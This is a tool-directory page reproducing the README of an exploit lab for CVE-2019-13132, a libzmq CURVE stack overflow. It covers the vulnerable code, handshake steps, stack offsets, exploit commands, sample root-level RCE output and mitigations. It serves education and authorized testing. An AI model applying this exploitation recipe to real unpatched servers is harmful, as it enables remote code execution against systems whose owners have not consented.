Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE stack overflow → RCE. Working exploit + Docker lab. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2019-13132-lab
Vulnerability AnalysisExploitationReverse EngineeringFuzzingLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE stack overflow → RCE. Working exploit + Docker lab.

View Repository
24 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-13132 — libzmq CURVE INITIATE stack overflow → RCE lab

CVE CVSS Affected License

End-to-end working RCE exploit + reproducible lab for CVE-2019-13132, a stack buffer overflow in libzmq's CURVE INITIATE handshake handler. An attacker who knows the server's long-term public key (a public parameter by design) can overflow a fixed-size stack buffer in process_initiate(), overwrite the saved return address, and redirect execution to arbitrary code.

By Nicolas Krassas (@dinosn).

Lab use only. This kit ships an intentionally vulnerable libzmq 4.3.0 with mitigations disabled. Don't expose port 5556 outside the lab. The bug was fixed in libzmq 4.3.2.


Quick start

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Automated smoke test (runs exploit + verifies proof file):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Repository layout

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

The vulnerability

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box is a 416-byte stack-allocated buffer. The memcpy writes size - 113 bytes into the 400-byte payload region (offset 16..415). Any INITIATE with size > 513 overflows past the buffer into saved callee registers and the return address.

The cookie verification happens before the overflow, so the INITIATE must carry a genuine cookie — but the cookie is obtained from the prior WELCOME message using only the server's long-term public key.


Exploit chain

1. CURVE handshake (only the public key is needed)

The CURVE protocol is designed so that clients already possess the server's long-term public key (it's in the connection URI or configuration). The exploit:

  1. Generates a fresh ephemeral keypair (C', c').
  2. Sends a valid HELLO — the server decrypts it using C' + its secret key.
  3. Receives WELCOME — decrypts it using C' + the server's public key.
  4. Extracts the cookie from WELCOME.
  5. Sends INITIATE with the genuine cookie + oversized payload.
  6. The cookie validates, and the vulnerable memcpy fires.

No application-level credentials. No ZAP authentication bypass. The overflow fires during the CURVE key exchange, before the application ever sees the peer.

2. Stack overflow → return address overwrite

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

The exploit sends 464 bytes of payload: 456 bytes of filler (0x41) to reach the return address, then 8 bytes containing the address of lab_trampoline().

3. Error path → epilogue → ret → trampoline

After the overflow, crypto_box_open() fails (the overflowed data is garbage ciphertext). The error path logs the failure, sets errno, and returns -1 — but the error path accesses only stack locations below the overflow region (RSP+0xe0, RSP+0xf0, RSP+0x280), so it runs cleanly with the corrupted stack.

The function epilogue (add $0x628,%rsp; pop rbx-r15; ret) pops the corrupted saved registers (now 0x4141414141414141) and then ret loads our trampoline address.

4. Code execution

lab_trampoline() uses raw syscalls (no libc, no fork()) to write the proof file:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Raw syscalls are used instead of system() / fork() because process_initiate() runs on libzmq's I/O thread — calling fork() from a non-main thread in a multi-threaded process deadlocks on glibc's pthread_atfork lock handlers.

Why only the public key is needed

The server's long-term public key is a public parameter in the CurveZMQ protocol — clients must have it to connect. It's typically distributed in configuration files, URIs, or discovery mechanisms. The exploit requires no secret material.


Offset resolution

The exploit needs two values:

fieldvaluesource
trampoline_addr0x401206nm server-curve (non-PIE binary, fixed address)
offset_to_ret456disassembly of process_initiate (0x658 - 0x490)

Both are hardcoded in exploit.py as built-in defaults for the Docker lab build (Debian 12, gcc 12, libzmq 4.3.0). No calibration step is required — just run the exploit:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Resolution priority: --trampoline/--offset flags → --profile file → /opt/zmq-curve-rce/profile.json → built-in defaults.

Why no runtime fingerprinting?

ZMTP has no introspection API. The greeting reveals only the protocol version (3.x) and mechanism (CURVE) — nothing about the libzmq build, compiler, or binary layout. There is no runtime-accessible build identifier that would allow automatic offset selection against unknown targets.

The calibrate.sh / compute_offsets.py scripts are provided for rebuilds on different distros or gcc versions, where the trampoline address may shift. Inside the Docker lab they run automatically but aren't needed.


Sample output

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Mitigations

DefenceEffect
Upgrade to libzmq >= 4.3.2Fixed. Adds an upper-bound check on INITIATE size before the memcpy.
Stack canaries (-fstack-protector)Detects the overflow before the function returns. The canary sits between locals and saved registers; the overflow corrupts it, triggering __stack_chk_fail.
ASLRRandomises shared-library and stack addresses. The trampoline is in a non-PIE binary (fixed address), but a production server would be PIE, requiring an info leak.
PIERandomises the server binary's load address. The trampoline address would no longer be predictable without a leak.
NXNot relevant here — no shellcode is injected; the exploit calls existing code.
ZAP / application-level authDoes not help — the overflow fires during CURVE key exchange, before ZAP is consulted.

Cleanup

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

References

  • NVD CVE-2019-13132
  • libzmq 4.3.2 release notes — the fix
  • CurveZMQ spec (ZMQ RFC 26) — CURVE handshake protocol
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ Message Transport Protocol

Author

Nicolas Krassas — @dinosn

License

MIT. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository.

Disclaimer

For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.

Download Tool